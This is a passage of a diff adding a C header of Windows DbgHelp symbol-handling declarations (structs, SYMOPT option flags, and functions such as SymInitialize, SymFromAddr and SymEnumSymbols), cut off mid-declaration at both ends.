sevProblem, + sevAttn, + sevFatal, + sevMax // unused +}; + +#define EVENT_SRCSPEW_START 100 +#define EVENT_SRCSPEW 100 +#define EVENT_SRCSPEW_END 199 + +typedef struct _IMAGEHLP_CBA_EVENT { + DWORD severity; // values from sevInfo to sevFatal + DWORD code; // numerical code IDs the error + PCHAR desc; // may contain a text description of the error + PVOID object; // value dependant upon the error code +} IMAGEHLP_CBA_EVENT, *PIMAGEHLP_CBA_EVENT; + +typedef struct _IMAGEHLP_CBA_EVENTW { + DWORD severity; // values from sevInfo to sevFatal + DWORD code; // numerical code IDs the error + PCWSTR desc; // may contain a text description of the error + PVOID object; // value dependant upon the error code +} IMAGEHLP_CBA_EVENTW, *PIMAGEHLP_CBA_EVENTW; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOAD64) + DWORD64 BaseOfImage; // base load address of module + DWORD CheckSum; // checksum from the pe header + DWORD TimeDateStamp; // date/time stamp from pe header + CHAR FileName[MAX_PATH]; // symbols file or image name + BOOLEAN Reparse; // load failure reparse + HANDLE hFile; // file handle, if passed + DWORD Flags; // +} IMAGEHLP_DEFERRED_SYMBOL_LOAD64, *PIMAGEHLP_DEFERRED_SYMBOL_LOAD64; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOADW64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOADW64) + DWORD64 BaseOfImage; // base load address of module + DWORD CheckSum; // checksum from the pe header + DWORD TimeDateStamp; // date/time stamp from pe header + WCHAR FileName[MAX_PATH + 1]; // symbols file or image name + BOOLEAN Reparse; // load failure reparse + HANDLE hFile; // file handle, if passed + DWORD Flags; // +} IMAGEHLP_DEFERRED_SYMBOL_LOADW64, *PIMAGEHLP_DEFERRED_SYMBOL_LOADW64; + +#define DSLFLAG_MISMATCHED_PDB 0x1 +#define DSLFLAG_MISMATCHED_DBG 0x2 + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define IMAGEHLP_DEFERRED_SYMBOL_LOAD IMAGEHLP_DEFERRED_SYMBOL_LOAD64 +#define PIMAGEHLP_DEFERRED_SYMBOL_LOAD PIMAGEHLP_DEFERRED_SYMBOL_LOAD64 +#else +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOAD) + DWORD BaseOfImage; // base load address of module + DWORD CheckSum; // checksum from the pe header + DWORD TimeDateStamp; // date/time stamp from pe header + CHAR FileName[MAX_PATH]; // symbols file or image name + BOOLEAN Reparse; // load failure reparse + HANDLE hFile; // file handle, if passed +} IMAGEHLP_DEFERRED_SYMBOL_LOAD, *PIMAGEHLP_DEFERRED_SYMBOL_LOAD; +#endif + +typedef struct _IMAGEHLP_DUPLICATE_SYMBOL64 { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DUPLICATE_SYMBOL64) + DWORD NumberOfDups; // number of duplicates in the Symbol array + PIMAGEHLP_SYMBOL64 Symbol; // array of duplicate symbols + DWORD SelectedSymbol; // symbol selected (-1 to start) +} IMAGEHLP_DUPLICATE_SYMBOL64, *PIMAGEHLP_DUPLICATE_SYMBOL64; + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define IMAGEHLP_DUPLICATE_SYMBOL IMAGEHLP_DUPLICATE_SYMBOL64 +#define PIMAGEHLP_DUPLICATE_SYMBOL PIMAGEHLP_DUPLICATE_SYMBOL64 +#else +typedef struct _IMAGEHLP_DUPLICATE_SYMBOL { + DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DUPLICATE_SYMBOL) + DWORD NumberOfDups; // number of duplicates in the Symbol array + PIMAGEHLP_SYMBOL Symbol; // array of duplicate symbols + DWORD SelectedSymbol; // symbol selected (-1 to start) +} IMAGEHLP_DUPLICATE_SYMBOL, *PIMAGEHLP_DUPLICATE_SYMBOL; +#endif + +// If dbghelp ever needs to display graphical UI, it will use this as the parent window. + +BOOL +IMAGEAPI +SymSetParentWindow( + __in HWND hwnd + ); + +PCHAR +IMAGEAPI +SymSetHomeDirectory( + __in_opt HANDLE hProcess, + __in_opt PCSTR dir + ); + +PWSTR +IMAGEAPI +SymSetHomeDirectoryW( + __in_opt HANDLE hProcess, + __in_opt PCWSTR dir + ); + +PCHAR +IMAGEAPI +SymGetHomeDirectory( + __in DWORD type, + __out_ecount(size) PSTR dir, + __in size_t size + ); + +PWSTR +IMAGEAPI +SymGetHomeDirectoryW( + __in DWORD type, + __out_ecount(size) PWSTR dir, + __in size_t size + ); + +typedef enum { + hdBase = 0, // root directory for dbghelp + hdSym, // where symbols are stored + hdSrc, // where source is stored + hdMax // end marker +}; + +typedef struct _OMAP { + ULONG rva; + ULONG rvaTo; +} OMAP, *POMAP; + +BOOL +IMAGEAPI +SymGetOmaps( + __in HANDLE hProcess, + __in DWORD64 BaseOfDll, + __out POMAP *OmapTo, + __out PDWORD64 cOmapTo, + __out POMAP *OmapFrom, + __out PDWORD64 cOmapFrom + ); + +// +// options that are set/returned by SymSetOptions() & SymGetOptions() +// these are used as a mask +// +#define SYMOPT_CASE_INSENSITIVE 0x00000001 +#define SYMOPT_UNDNAME 0x00000002 +#define SYMOPT_DEFERRED_LOADS 0x00000004 +#define SYMOPT_NO_CPP 0x00000008 +#define SYMOPT_LOAD_LINES 0x00000010 +#define SYMOPT_OMAP_FIND_NEAREST 0x00000020 +#define SYMOPT_LOAD_ANYTHING 0x00000040 +#define SYMOPT_IGNORE_CVREC 0x00000080 +#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100 +#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200 +#define SYMOPT_EXACT_SYMBOLS 0x00000400 +#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800 +#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000 +#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000 +#define SYMOPT_PUBLICS_ONLY 0x00004000 +#define SYMOPT_NO_PUBLICS 0x00008000 +#define SYMOPT_AUTO_PUBLICS 0x00010000 +#define SYMOPT_NO_IMAGE_SEARCH 0x00020000 +#define SYMOPT_SECURE 0x00040000 +#define SYMOPT_NO_PROMPTS 0x00080000 +#define SYMOPT_OVERWRITE 0x00100000 +#define SYMOPT_IGNORE_IMAGEDIR 0x00200000 +#define SYMOPT_FLAT_DIRECTORY 0x00400000 +#define SYMOPT_FAVOR_COMPRESSED 0x00800000 +#define SYMOPT_ALLOW_ZERO_ADDRESS 0x01000000 +#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x02000000 + +#define SYMOPT_DEBUG 0x80000000 + +DWORD +IMAGEAPI +SymSetOptions( + __in DWORD SymOptions + ); + +DWORD +IMAGEAPI +SymGetOptions( + VOID + ); + +BOOL +IMAGEAPI +SymCleanup( + __in HANDLE hProcess + ); + +BOOL +IMAGEAPI +SymMatchString( + __in PCSTR string, + __in PCSTR expression, + __in BOOL fCase + ); + +BOOL +IMAGEAPI +SymMatchStringA( + __in PCSTR string, + __in PCSTR expression, + __in BOOL fCase + ); + +BOOL +IMAGEAPI +SymMatchStringW( + __in PCWSTR string, + __in PCWSTR expression, + __in BOOL fCase + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMSOURCEFILES_CALLBACK)( + __in PSOURCEFILE pSourceFile, + __in_opt PVOID UserContext + ); + +// for backwards compatibility - don't use this +#define PSYM_ENUMSOURCFILES_CALLBACK PSYM_ENUMSOURCEFILES_CALLBACK + +BOOL +IMAGEAPI +SymEnumSourceFiles( + __in HANDLE hProcess, + __in ULONG64 ModBase, + __in_opt PCSTR Mask, + __in PSYM_ENUMSOURCEFILES_CALLBACK cbSrcFiles, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMSOURCEFILES_CALLBACKW)( + __in PSOURCEFILEW pSourceFile, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumSourceFilesW( + __in HANDLE hProcess, + __in ULONG64 ModBase, + __in_opt PCWSTR Mask, + __in PSYM_ENUMSOURCEFILES_CALLBACKW cbSrcFiles, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumerateModules64( + __in HANDLE hProcess, + __in PSYM_ENUMMODULES_CALLBACK64 EnumModulesCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumerateModulesW64( + __in HANDLE hProcess, + __in PSYM_ENUMMODULES_CALLBACKW64 EnumModulesCallback, + __in_opt PVOID UserContext + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymEnumerateModules SymEnumerateModules64 +#else +BOOL +IMAGEAPI +SymEnumerateModules( + __in HANDLE hProcess, + __in PSYM_ENUMMODULES_CALLBACK EnumModulesCallback, + __in_opt PVOID UserContext + ); +#endif + +BOOL +IMAGEAPI +EnumerateLoadedModulesEx( + __in HANDLE hProcess, + __in PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +EnumerateLoadedModulesExW( + __in HANDLE hProcess, + __in PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +EnumerateLoadedModules64( + __in HANDLE hProcess, + __in PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +EnumerateLoadedModulesW64( + __in HANDLE hProcess, + __in PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback, + __in_opt PVOID UserContext + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define EnumerateLoadedModules EnumerateLoadedModules64 +#else +BOOL +IMAGEAPI +EnumerateLoadedModules( + __in HANDLE hProcess, + __in PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback, + __in_opt PVOID UserContext + ); +#endif + +PVOID +IMAGEAPI +SymFunctionTableAccess64( + __in HANDLE hProcess, + __in DWORD64 AddrBase + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymFunctionTableAccess SymFunctionTableAccess64 +#else +PVOID +IMAGEAPI +SymFunctionTableAccess( + __in HANDLE hProcess, + __in DWORD AddrBase + ); +#endif + +BOOL +IMAGEAPI +SymGetUnwindInfo( + __in HANDLE hProcess, + __in DWORD64 Address, + __out_bcount_opt(*Size) PVOID Buffer, + __inout PULONG Size + ); + +BOOL +IMAGEAPI +SymGetModuleInfo64( + __in HANDLE hProcess, + __in DWORD64 qwAddr, + __out PIMAGEHLP_MODULE64 ModuleInfo + ); + +BOOL +IMAGEAPI +SymGetModuleInfoW64( + __in HANDLE hProcess, + __in DWORD64 qwAddr, + __out PIMAGEHLP_MODULEW64 ModuleInfo + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetModuleInfo SymGetModuleInfo64 +#define SymGetModuleInfoW SymGetModuleInfoW64 +#else +BOOL +IMAGEAPI +SymGetModuleInfo( + __in HANDLE hProcess, + __in DWORD dwAddr, + __out PIMAGEHLP_MODULE ModuleInfo + ); + +BOOL +IMAGEAPI +SymGetModuleInfoW( + __in HANDLE hProcess, + __in DWORD dwAddr, + __out PIMAGEHLP_MODULEW ModuleInfo + ); +#endif + +DWORD64 +IMAGEAPI +SymGetModuleBase64( + __in HANDLE hProcess, + __in DWORD64 qwAddr + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetModuleBase SymGetModuleBase64 +#else +DWORD +IMAGEAPI +SymGetModuleBase( + __in HANDLE hProcess, + __in DWORD dwAddr + ); +#endif + +typedef struct _SRCCODEINFO { + DWORD SizeOfStruct; // set to sizeof(SRCCODEINFO) + PVOID Key; // not used + DWORD64 ModBase; // base address of module this applies to + CHAR Obj[MAX_PATH + 1]; // the object file within the module + CHAR FileName[MAX_PATH + 1]; // full filename + DWORD LineNumber; // line number in file + DWORD64 Address; // first instruction of line +} SRCCODEINFO, *PSRCCODEINFO; + +typedef struct _SRCCODEINFOW { + DWORD SizeOfStruct; // set to sizeof(SRCCODEINFO) + PVOID Key; // not used + DWORD64 ModBase; // base address of module this applies to + WCHAR Obj[MAX_PATH + 1]; // the object file within the module + WCHAR FileName[MAX_PATH + 1]; // full filename + DWORD LineNumber; // line number in file + DWORD64 Address; // first instruction of line +} SRCCODEINFOW, *PSRCCODEINFOW; + +typedef BOOL +(CALLBACK *PSYM_ENUMLINES_CALLBACK)( + __in PSRCCODEINFO LineInfo, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumLines( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCSTR Obj, + __in_opt PCSTR File, + __in PSYM_ENUMLINES_CALLBACK EnumLinesCallback, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMLINES_CALLBACKW)( + __in PSRCCODEINFOW LineInfo, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumLinesW( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCWSTR Obj, + __in_opt PCWSTR File, + __in PSYM_ENUMLINES_CALLBACKW EnumLinesCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymGetLineFromAddr64( + __in HANDLE hProcess, + __in DWORD64 qwAddr, + __out PDWORD pdwDisplacement, + __out PIMAGEHLP_LINE64 Line64 + ); + +BOOL +IMAGEAPI +SymGetLineFromAddrW64( + __in HANDLE hProcess, + __in DWORD64 dwAddr, + __out PDWORD pdwDisplacement, + __out PIMAGEHLP_LINEW64 Line + ); + +BOOL +IMAGEAPI +SymEnumSourceLines( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCSTR Obj, + __in_opt PCSTR File, + __in_opt DWORD Line, + __in DWORD Flags, + __in PSYM_ENUMLINES_CALLBACK EnumLinesCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumSourceLinesW( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCWSTR Obj, + __in_opt PCWSTR File, + __in_opt DWORD Line, + __in DWORD Flags, + __in PSYM_ENUMLINES_CALLBACKW EnumLinesCallback, + __in_opt PVOID UserContext + ); + +// flags for SymEnumSourceLines + +#define ESLFLAG_FULLPATH 0x1 +#define ESLFLAG_NEAREST 0x2 +#define ESLFLAG_PREV 0x4 +#define ESLFLAG_NEXT 0x8 + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetLineFromAddr SymGetLineFromAddr64 +#define SymGetLineFromAddrW SymGetLineFromAddrW64 +#else +BOOL +IMAGEAPI +SymGetLineFromAddr( + __in HANDLE hProcess, + __in DWORD dwAddr, + __out PDWORD pdwDisplacement, + __out PIMAGEHLP_LINE Line + ); + +BOOL +IMAGEAPI +SymGetLineFromAddrW( + __in HANDLE hProcess, + __in DWORD dwAddr, + __out PDWORD pdwDisplacement, + __out PIMAGEHLP_LINEW Line + ); +#endif + +BOOL +IMAGEAPI +SymGetLineFromName64( + __in HANDLE hProcess, + __in_opt PCSTR ModuleName, + __in_opt PCSTR FileName, + __in DWORD dwLineNumber, + __out PLONG plDisplacement, + __inout PIMAGEHLP_LINE64 Line + ); + +BOOL +IMAGEAPI +SymGetLineFromNameW64( + __in HANDLE hProcess, + __in_opt PCWSTR ModuleName, + __in_opt PCWSTR FileName, + __in DWORD dwLineNumber, + __out PLONG plDisplacement, + __inout PIMAGEHLP_LINEW64 Line + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetLineFromName SymGetLineFromName64 +#else +BOOL +IMAGEAPI +SymGetLineFromName( + __in HANDLE hProcess, + __in_opt PCSTR ModuleName, + __in_opt PCSTR FileName, + __in DWORD dwLineNumber, + __out PLONG plDisplacement, + __inout PIMAGEHLP_LINE Line + ); +#endif + +BOOL +IMAGEAPI +SymGetLineNext64( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINE64 Line + ); + +BOOL +IMAGEAPI +SymGetLineNextW64( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINEW64 Line + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetLineNext SymGetLineNext64 +#else +BOOL +IMAGEAPI +SymGetLineNext( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINE Line + ); + +BOOL +IMAGEAPI +SymGetLineNextW( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINEW Line + ); +#endif + +BOOL +IMAGEAPI +SymGetLinePrev64( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINE64 Line + ); + +BOOL +IMAGEAPI +SymGetLinePrevW64( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINEW64 Line + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetLinePrev SymGetLinePrev64 +#else +BOOL +IMAGEAPI +SymGetLinePrev( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINE Line + ); + +BOOL +IMAGEAPI +SymGetLinePrevW( + __in HANDLE hProcess, + __inout PIMAGEHLP_LINEW Line + ); +#endif + +ULONG +IMAGEAPI +SymGetFileLineOffsets64( + __in HANDLE hProcess, + __in_opt PCSTR ModuleName, + __in PCSTR FileName, + __out_ecount(BufferLines) PDWORD64 Buffer, + __in ULONG BufferLines + ); + +BOOL +IMAGEAPI +SymMatchFileName( + __in PCSTR FileName, + __in PCSTR Match, + __deref_opt_out PSTR *FileNameStop, + __deref_opt_out PSTR *MatchStop + ); + +BOOL +IMAGEAPI +SymMatchFileNameW( + __in PCWSTR FileName, + __in PCWSTR Match, + __deref_opt_out PWSTR *FileNameStop, + __deref_opt_out PWSTR *MatchStop + ); + +BOOL +IMAGEAPI +SymGetSourceFile( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCSTR Params, + __in PCSTR FileSpec, + __out_ecount(Size) PSTR FilePath, + __in DWORD Size + ); + +BOOL +IMAGEAPI +SymGetSourceFileW( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCWSTR Params, + __in PCWSTR FileSpec, + __out_ecount(Size) PWSTR FilePath, + __in DWORD Size + ); + +BOOL +IMAGEAPI +SymGetSourceFileToken( + __in HANDLE hProcess, + __in ULONG64 Base, + __in PCSTR FileSpec, + __deref_out PVOID *Token, + __out DWORD *Size + ); + +BOOL +IMAGEAPI +SymGetSourceFileTokenW( + __in HANDLE hProcess, + __in ULONG64 Base, + __in PCWSTR FileSpec, + __deref_out PVOID *Token, + __out DWORD *Size + ); + +BOOL +IMAGEAPI +SymGetSourceFileFromToken( + __in HANDLE hProcess, + __in PVOID Token, + __in_opt PCSTR Params, + __out_ecount(Size) PSTR FilePath, + __in DWORD Size + ); + +BOOL +IMAGEAPI +SymGetSourceFileFromTokenW( + __in HANDLE hProcess, + __in PVOID Token, + __in_opt PCWSTR Params, + __out_ecount(Size) PWSTR FilePath, + __in DWORD Size + ); + +BOOL +IMAGEAPI +SymGetSourceVarFromToken( + __in HANDLE hProcess, + __in PVOID Token, + __in_opt PCSTR Params, + __in PCSTR VarName, + __out_ecount(Size) PSTR Value, + __in DWORD Size + ); + +BOOL +IMAGEAPI +SymGetSourceVarFromTokenW( + __in HANDLE hProcess, + __in PVOID Token, + __in_opt PCWSTR Params, + __in PCWSTR VarName, + __out_ecount(Size) PWSTR Value, + __in DWORD Size + ); + +typedef BOOL (CALLBACK *PENUMSOURCEFILETOKENSCALLBACK)(__in PVOID token, __in size_t size); + +BOOL +IMAGEAPI +SymEnumSourceFileTokens( + __in HANDLE hProcess, + __in ULONG64 Base, + __in PENUMSOURCEFILETOKENSCALLBACK Callback + ); + +BOOL +IMAGEAPI +SymInitialize( + __in HANDLE hProcess, + __in_opt PCSTR UserSearchPath, + __in BOOL fInvadeProcess + ); + +BOOL +IMAGEAPI +SymInitializeW( + __in HANDLE hProcess, + __in_opt PCWSTR UserSearchPath, + __in BOOL fInvadeProcess + ); + +BOOL +IMAGEAPI +SymGetSearchPath( + __in HANDLE hProcess, + __out_ecount(SearchPathLength) PSTR SearchPath, + __in DWORD SearchPathLength + ); + +BOOL +IMAGEAPI +SymGetSearchPathW( + __in HANDLE hProcess, + __out_ecount(SearchPathLength) PWSTR SearchPath, + __in DWORD SearchPathLength + ); + +BOOL +IMAGEAPI +SymSetSearchPath( + __in HANDLE hProcess, + __in_opt PCSTR SearchPath + ); + +BOOL +IMAGEAPI +SymSetSearchPathW( + __in HANDLE hProcess, + __in_opt PCWSTR SearchPath + ); + +#define SLMFLAG_VIRTUAL 0x1 +#define SLMFLAG_ALT_INDEX 0x2 +#define SLMFLAG_NO_SYMBOLS 0x4 + +DWORD64 +IMAGEAPI +SymLoadModuleEx( + __in HANDLE hProcess, + __in_opt HANDLE hFile, + __in_opt PCSTR ImageName, + __in_opt PCSTR ModuleName, + __in DWORD64 BaseOfDll, + __in DWORD DllSize, + __in_opt PMODLOAD_DATA Data, + __in_opt DWORD Flags + ); + +DWORD64 +IMAGEAPI +SymLoadModuleExW( + __in HANDLE hProcess, + __in_opt HANDLE hFile, + __in_opt PCWSTR ImageName, + __in_opt PCWSTR ModuleName, + __in DWORD64 BaseOfDll, + __in DWORD DllSize, + __in_opt PMODLOAD_DATA Data, + __in_opt DWORD Flags + ); + +BOOL +IMAGEAPI +SymUnloadModule64( + __in HANDLE hProcess, + __in DWORD64 BaseOfDll + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymUnloadModule SymUnloadModule64 +#else +BOOL +IMAGEAPI +SymUnloadModule( + __in HANDLE hProcess, + __in DWORD BaseOfDll + ); +#endif + +BOOL +IMAGEAPI +SymUnDName64( + __in PIMAGEHLP_SYMBOL64 sym, // Symbol to undecorate + __out_ecount(UnDecNameLength) PSTR UnDecName, // Buffer to store undecorated name in + __in DWORD UnDecNameLength // Size of the buffer + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymUnDName SymUnDName64 +#else +BOOL +IMAGEAPI +SymUnDName( + __in PIMAGEHLP_SYMBOL sym, // Symbol to undecorate + __out_ecount(UnDecNameLength) PSTR UnDecName, // Buffer to store undecorated name in + __in DWORD UnDecNameLength // Size of the buffer + ); +#endif + +BOOL +IMAGEAPI +SymRegisterCallback64( + __in HANDLE hProcess, + __in PSYMBOL_REGISTERED_CALLBACK64 CallbackFunction, + __in ULONG64 UserContext + ); + +BOOL +IMAGEAPI +SymRegisterCallbackW64( + __in HANDLE hProcess, + __in PSYMBOL_REGISTERED_CALLBACK64 CallbackFunction, + __in ULONG64 UserContext + ); + +BOOL +IMAGEAPI +SymRegisterFunctionEntryCallback64( + __in HANDLE hProcess, + __in PSYMBOL_FUNCENTRY_CALLBACK64 CallbackFunction, + __in ULONG64 UserContext + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymRegisterCallback SymRegisterCallback64 +#define SymRegisterFunctionEntryCallback SymRegisterFunctionEntryCallback64 +#else +BOOL +IMAGEAPI +SymRegisterCallback( + __in HANDLE hProcess, + __in PSYMBOL_REGISTERED_CALLBACK CallbackFunction, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymRegisterFunctionEntryCallback( + __in HANDLE hProcess, + __in PSYMBOL_FUNCENTRY_CALLBACK CallbackFunction, + __in_opt PVOID UserContext + ); +#endif + + +typedef struct _IMAGEHLP_SYMBOL_SRC { + DWORD sizeofstruct; + DWORD type; + char file[MAX_PATH]; +} IMAGEHLP_SYMBOL_SRC, *PIMAGEHLP_SYMBOL_SRC; + +typedef struct _MODULE_TYPE_INFO { // AKA TYPTYP + USHORT dataLength; + USHORT leaf; + BYTE data[1]; +} MODULE_TYPE_INFO, *PMODULE_TYPE_INFO; + +typedef struct _SYMBOL_INFO { + ULONG SizeOfStruct; + ULONG TypeIndex; // Type Index of symbol + ULONG64 Reserved[2]; + ULONG Index; + ULONG Size; + ULONG64 ModBase; // Base Address of module comtaining this symbol + ULONG Flags; + ULONG64 Value; // Value of symbol, ValuePresent should be 1 + ULONG64 Address; // Address of symbol including base address of module + ULONG Register; // register holding value or pointer to value + ULONG Scope; // scope of the symbol + ULONG Tag; // pdb classification + ULONG NameLen; // Actual length of name + ULONG MaxNameLen; + CHAR Name[1]; // Name of symbol +} SYMBOL_INFO, *PSYMBOL_INFO; + +typedef struct _SYMBOL_INFO_PACKAGE { + SYMBOL_INFO si; + CHAR name[MAX_SYM_NAME + 1]; +} SYMBOL_INFO_PACKAGE, *PSYMBOL_INFO_PACKAGE; + +typedef struct _SYMBOL_INFOW { + ULONG SizeOfStruct; + ULONG TypeIndex; // Type Index of symbol + ULONG64 Reserved[2]; + ULONG Index; + ULONG Size; + ULONG64 ModBase; // Base Address of module comtaining this symbol + ULONG Flags; + ULONG64 Value; // Value of symbol, ValuePresent should be 1 + ULONG64 Address; // Address of symbol including base address of module + ULONG Register; // register holding value or pointer to value + ULONG Scope; // scope of the symbol + ULONG Tag; // pdb classification + ULONG NameLen; // Actual length of name + ULONG MaxNameLen; + WCHAR Name[1]; // Name of symbol +} SYMBOL_INFOW, *PSYMBOL_INFOW; + +typedef struct _SYMBOL_INFO_PACKAGEW { + SYMBOL_INFOW si; + WCHAR name[MAX_SYM_NAME + 1]; +} SYMBOL_INFO_PACKAGEW, *PSYMBOL_INFO_PACKAGEW; + +typedef struct _IMAGEHLP_STACK_FRAME +{ + ULONG64 InstructionOffset; + ULONG64 ReturnOffset; + ULONG64 FrameOffset; + ULONG64 StackOffset; + ULONG64 BackingStoreOffset; + ULONG64 FuncTableEntry; + ULONG64 Params[4]; + ULONG64 Reserved[5]; + BOOL Virtual; + ULONG Reserved2; +} IMAGEHLP_STACK_FRAME, *PIMAGEHLP_STACK_FRAME; + +typedef VOID IMAGEHLP_CONTEXT, *PIMAGEHLP_CONTEXT; + + +BOOL +IMAGEAPI +SymSetContext( + __in HANDLE hProcess, + __in PIMAGEHLP_STACK_FRAME StackFrame, + __in_opt PIMAGEHLP_CONTEXT Context + ); + +BOOL +IMAGEAPI +SymSetScopeFromAddr( + __in HANDLE hProcess, + __in ULONG64 Address + ); + +BOOL +IMAGEAPI +SymSetScopeFromIndex( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in DWORD Index + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMPROCESSES_CALLBACK)( + __in HANDLE hProcess, + __in PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumProcesses( + __in PSYM_ENUMPROCESSES_CALLBACK EnumProcessesCallback, + __in PVOID UserContext + ); + +BOOL +IMAGEAPI +SymFromAddr( + __in HANDLE hProcess, + __in DWORD64 Address, + __out_opt PDWORD64 Displacement, + __inout PSYMBOL_INFO Symbol + ); + +BOOL +IMAGEAPI +SymFromAddrW( + __in HANDLE hProcess, + __in DWORD64 Address, + __out_opt PDWORD64 Displacement, + __inout PSYMBOL_INFOW Symbol + ); + +BOOL +IMAGEAPI +SymFromToken( + __in HANDLE hProcess, + __in DWORD64 Base, + __in DWORD Token, + __inout PSYMBOL_INFO Symbol + ); + +BOOL +IMAGEAPI +SymFromTokenW( + __in HANDLE hProcess, + __in DWORD64 Base, + __in DWORD Token, + __inout PSYMBOL_INFOW Symbol + ); + +BOOL +IMAGEAPI +SymNext( + __in HANDLE hProcess, + __inout PSYMBOL_INFO si + ); + +BOOL +IMAGEAPI +SymNextW( + __in HANDLE hProcess, + __inout PSYMBOL_INFOW siw + ); + +BOOL +IMAGEAPI +SymPrev( + __in HANDLE hProcess, + __inout PSYMBOL_INFO si + ); + +BOOL +IMAGEAPI +SymPrevW( + __in HANDLE hProcess, + __inout PSYMBOL_INFOW siw + ); + +// While SymFromName will provide a symbol from a name, +// SymEnumSymbols can provide the same matching information +// for ALL symbols with a matching name, even regular +// expressions. That way you can search across modules +// and differentiate between identically named symbols. + +BOOL +IMAGEAPI +SymFromName( + __in HANDLE hProcess, + __in PCSTR Name, + __inout PSYMBOL_INFO Symbol + ); + +BOOL +IMAGEAPI +SymFromNameW( + __in HANDLE hProcess, + __in PCWSTR Name, + __inout PSYMBOL_INFOW Symbol + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMERATESYMBOLS_CALLBACK)( + __in PSYMBOL_INFO pSymInfo, + __in ULONG SymbolSize, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumSymbols( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt PCSTR Mask, + __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +typedef BOOL +(CALLBACK *PSYM_ENUMERATESYMBOLS_CALLBACKW)( + __in PSYMBOL_INFOW pSymInfo, + __in ULONG SymbolSize, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumSymbolsW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt PCWSTR Mask, + __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumSymbolsForAddr( + __in HANDLE hProcess, + __in DWORD64 Address, + __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumSymbolsForAddrW( + __in HANDLE hProcess, + __in DWORD64 Address, + __in 